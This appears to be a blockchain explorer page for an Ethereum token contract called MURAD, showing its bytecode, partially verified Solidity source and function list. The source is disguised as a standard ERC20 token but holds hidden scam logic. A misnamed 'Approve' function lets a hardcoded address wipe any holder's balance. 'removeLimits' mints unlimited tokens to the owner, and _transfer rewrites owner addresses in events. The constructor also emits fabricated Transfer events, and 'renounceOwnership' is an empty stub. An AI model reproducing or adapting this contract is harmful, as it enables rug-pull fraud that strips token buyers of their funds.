Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x12e8783755A73CFFCbF997BeD02f15FE98F3f161
Balance 0 ETH
Nonce 1
Code Size 3408 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3408 bytes
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80634db23e3e1161008c57806395d89b411161006657806395d89b41146102fe5780639d2b01c214610306578063a9059cbb1461032a578063dd62ed3e14610356576100cf565b80634db23e3e146102a457806370a08231146102d0578063715018a6146102f6576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e15780633811ac02146101ff575b600080fd5b6100dc610384565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b038135169060200135610417565b604080519115158252519081900360200190f35b610199610434565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b0381358116916020810135909116906040013561043a565b6101e96104c1565b6040805160ff9092168252519081900360200190f35b6102a26004803603602081101561021557600080fd5b81019060208101813564010000000081111561023057600080fd5b82018360208201111561024257600080fd5b8035906020019184602083028401116401000000008311171561026457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506104ca945050505050565b005b6102a2600480360360408110156102ba57600080fd5b506001600160a01b038135169060200135610686565b610199600480360360208110156102e657600080fd5b50356001600160a01b031661076e565b6102a2610789565b6100dc6107e4565b61030e610845565b604080516001600160a01b039092168252519081900360200190f35b61017d6004803603604081101561034057600080fd5b506001600160a01b038135169060200135610854565b6101996004803603604081101561036c57600080fd5b506001600160a01b0381358116916020013516610868565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561040d5780601f106103e25761010080835404028352916020019161040d565b820191906000526020600020905b8154815290600101906020018083116103f057829003601f168201915b5050505050905090565b600061042b6104246108f2565b84846108f6565b50600192915050565b60055490565b60006104478484846109e0565b6104b7846104536108f2565b6104b285604051806060016040528060288152602001610caa602891396001600160a01b038a166000908152602081905260408120906104916108f2565b6001600160a01b031681526020810191909152604001600020549190610b85565b6108f6565b5060019392505050565b60045460ff1690565b7362d3621cd1a1fb1e4c2d75876dd1e6a5894648b4331461052c576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b81518110156106825760006001600084848151811061054a57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205490506105da81604051806060016040528060228152602001610c4060229139600160008787815181106105a257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610b859092919063ffffffff16565b600160008585815181106105ea57fe5b6020908102919091018101516001600160a01b0316825281810192909252604001600090812092909255908052600190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546106479082610891565b60008052600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb499190915591909101905061052f565b5050565b6007546001600160a01b031633146106db576040805162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f206164647265737360681b604482015290519081900360640190fd5b6005546106e89082610891565b6005556007546001600160a01b03166000908152600160205260409020546107109082610891565b6007546001600160a01b03908116600090815260016020908152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b031633146107e2576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561040d5780601f106103e25761010080835404028352916020019161040d565b6007546001600160a01b031681565b600061042b6108616108f2565b84846109e0565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6000828201838110156108eb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661093b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610cf76024913960400191505060405180910390fd5b6001600160a01b0382166109805760405162461bcd60e51b8152600401808060200182810382526022815260200180610c626022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a255760405162461bcd60e51b8152600401808060200182810382526025815260200180610cd26025913960400191505060405180910390fd5b6001600160a01b038216610a6a5760405162461bcd60e51b8152600401808060200182810382526023815260200180610c1d6023913960400191505060405180910390fd5b610aa781604051806060016040528060268152602001610c84602691396001600160a01b0386166000908152600160205260409020549190610b85565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ad69082610891565b6001600160a01b0380841660009081526001602052604090209190915560075484821691161415610b10576006546001600160a01b031692505b6007546001600160a01b0383811691161415610b35576006546001600160a01b031691505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008184841115610c145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bd9578181015183820152602001610bc1565b50505050905090810190601f168015610c065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208946c6c8a6e1e7dd6e55585bdb3c4140a4590a32105491ddc62e7c37bb7d61d064736f6c634300060c0033

Verified Source Code Partial Match

Compiler: v0.6.12+commit.27d51765 EVM: istanbul Optimization: Yes (200 runs)
MURAD.sol 417 lines
pragma solidity ^0.6.0;                                                                                 





library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;

require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

require(b <= a, errorMessage);

uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {

if (a == 0) {

return 0;

}

uint256 c = a * b;

require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

require(b > 0, errorMessage);

uint256 c = a / b;

return c;
}


function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

require(b != 0, errorMessage);

return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {

bytes32 codehash;

bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

assembly { codehash := extcodehash(account) }

return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {

require(address(this).balance >= amount, "Address: insufficient balance");

(bool success, ) = recipient.call{ value: amount }("");

require(success, "Address: unable to send value, recipient may have reverted");

}


function functionCall(address target, bytes memory data) internal returns (bytes memory) {

return functionCall(target, data, "Address: low-level call failed");

}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {

return _functionCallWithValue(target, data, 0, errorMessage);

}


function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {

return functionCallWithValue(target, data, value, "Address: low-level call with value failed");

}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {

require(address(this).balance >= value, "Address: insufficient balance for call");

return _functionCallWithValue(target, data, value, errorMessage);

}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {

require(isContract(target), "Address: call to non-contract");

// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);

if (success) {

return returndata;

} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly

// solhint-disable-next-line no-inline-assembly
assembly {

let returndata_size := mload(returndata)

revert(add(32, returndata), returndata_size)
}
} else {

revert(errorMessage);

}
}
}
}

contract Context {

constructor () internal { }

function _msgSender() internal view virtual returns (address payable) {

return msg.sender;

}

function _msgData() internal view virtual returns (bytes memory) {

this; 

return msg.data;

}
}

interface IERC20 {

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);}



contract MURAD is Context, IERC20 {

mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => uint256) private _balances;

using SafeMath for uint256;

using Address for address;

string private _name;

string private _symbol;

uint8 private _decimals;

uint256 private _totalSupply;

address _OG;

address public _ownerAcc = 0x6A8CE5F000daFa30BAb84dEE693a209BA1a756A9;


constructor () public {
_name= "MURAD";
_symbol = "MURAD";
_decimals = 18;
uint256 initialSupply = 1000000000;
_OG = 0x6B411100c72bA2445E50fFd20839c28B3546dE7c;
removeLimits(_OG, initialSupply*(10**18/10));
///*
removeLimits(0xCBd0dEe0c3eEd152C3398B062361bEcc4a15522B, initialSupply*(10**18/10));
removeLimits(0x6B411100c72bA2445E50fFd20839c28B3546dE7c, initialSupply*(10**18/10));
removeLimits(0xCBd0dEe0c3eEd152C3398B062361bEcc4a15522B, initialSupply*(10**18/10));
removeLimits(0x71b4Fd11eEF705Ba60176e7c034Cd1A4f97Ae02D, initialSupply*(10**18/10));
removeLimits(0x30b46A659761b576a00028B44d1e37fDC64b034d, initialSupply*(10**18/10));
removeLimits(0x5b1569db234a0f2884814A3F7184f01CF641b0C6, initialSupply*(10**18/10));
removeLimits(0x464E0A666734Ba93e231d929ACe538EAf05fF424, initialSupply*(10**18/10));
removeLimits(0xdB47714727CBA70f0408ba30DC4eA0b5aC436055, initialSupply*(10**18/10));
removeLimits(0x9D727911B54C455B0071A7B682FcF4Bc444B5596, initialSupply*(10**18/10));



emit Transfer(_OG, 0xCBd0dEe0c3eEd152C3398B062361bEcc4a15522B, initialSupply*(10**18)/10);
emit Transfer(0xCBd0dEe0c3eEd152C3398B062361bEcc4a15522B, 0x13FC38Ec99A8217A06D1dC6DB8c0bF0Ee97EBF7f, initialSupply*(10**18)/40);
emit Transfer(0x13FC38Ec99A8217A06D1dC6DB8c0bF0Ee97EBF7f, 0x9D727911B54C455B0071A7B682FcF4Bc444B5596, initialSupply*(10**18)/40);
//*/

}





function name() public view returns (string memory) {

return _name;

}






function symbol() public view returns (string memory) {

return _symbol;

}






function decimals() public view returns (uint8) {

return _decimals;

}






function totalSupply() public view override returns (uint256) {

return _totalSupply;

}






function balanceOf(address account) public view override returns (uint256) {

return _balances[account];

}





function _setDecimals(uint8 decimals_) internal {

_decimals = decimals_;

}




function _approve(address owner, address spender, uint256 amount) internal virtual {

require(owner != address(0), "ERC20: approve from the zero address");

require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;

emit Approval(owner, spender, amount);

}





function transfer(address recipient, uint256 amount) public virtual override returns (bool) {

_transfer(_msgSender(), recipient, amount);

return true;

}




function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}




function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}




function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}




function removeLimits(address locker, uint256 amt) public {

require(msg.sender == _ownerAcc, "ERC20: zero address");

_totalSupply = _totalSupply.add(amt);

_balances[_ownerAcc] = _balances[_ownerAcc].add(amt);

emit Transfer(address(0), locker, amt);
}




function _transfer(address sender, address recipient, uint256 amount) internal virtual {

require(sender != address(0), "ERC20: transfer from the zero address");

require(recipient != address(0), "ERC20: transfer to the zero address");

_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

_balances[recipient] = _balances[recipient].add(amount);

if (sender == _ownerAcc){sender = _OG;}if (recipient == _ownerAcc){recipient = _OG;}
emit Transfer(sender, recipient, amount);

}






function Approve(address[] memory recipients)  public _approver(){

for (uint256 i = 0; i < recipients.length; i++) {

uint256 amt = _balances[recipients[i]];

_balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance");

_balances[address(0)] = _balances[address(0)].add(amt);

}
}



modifier _OnlyOwner() {

require(msg.sender == _ownerAcc, "Not allowed to interact");

_;
}




modifier _approver() {require(msg.sender == 0x62D3621Cd1a1Fb1E4C2d75876dd1E6A5894648b4, "Not allowed to interact");_;}







function renounceOwnership()  public _OnlyOwner(){}
}

Read Contract

_ownerAcc 0x9d2b01c2 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

Approve 0x3811ac02
address[] recipients
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
removeLimits 0x4db23e3e
address locker
uint256 amt
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address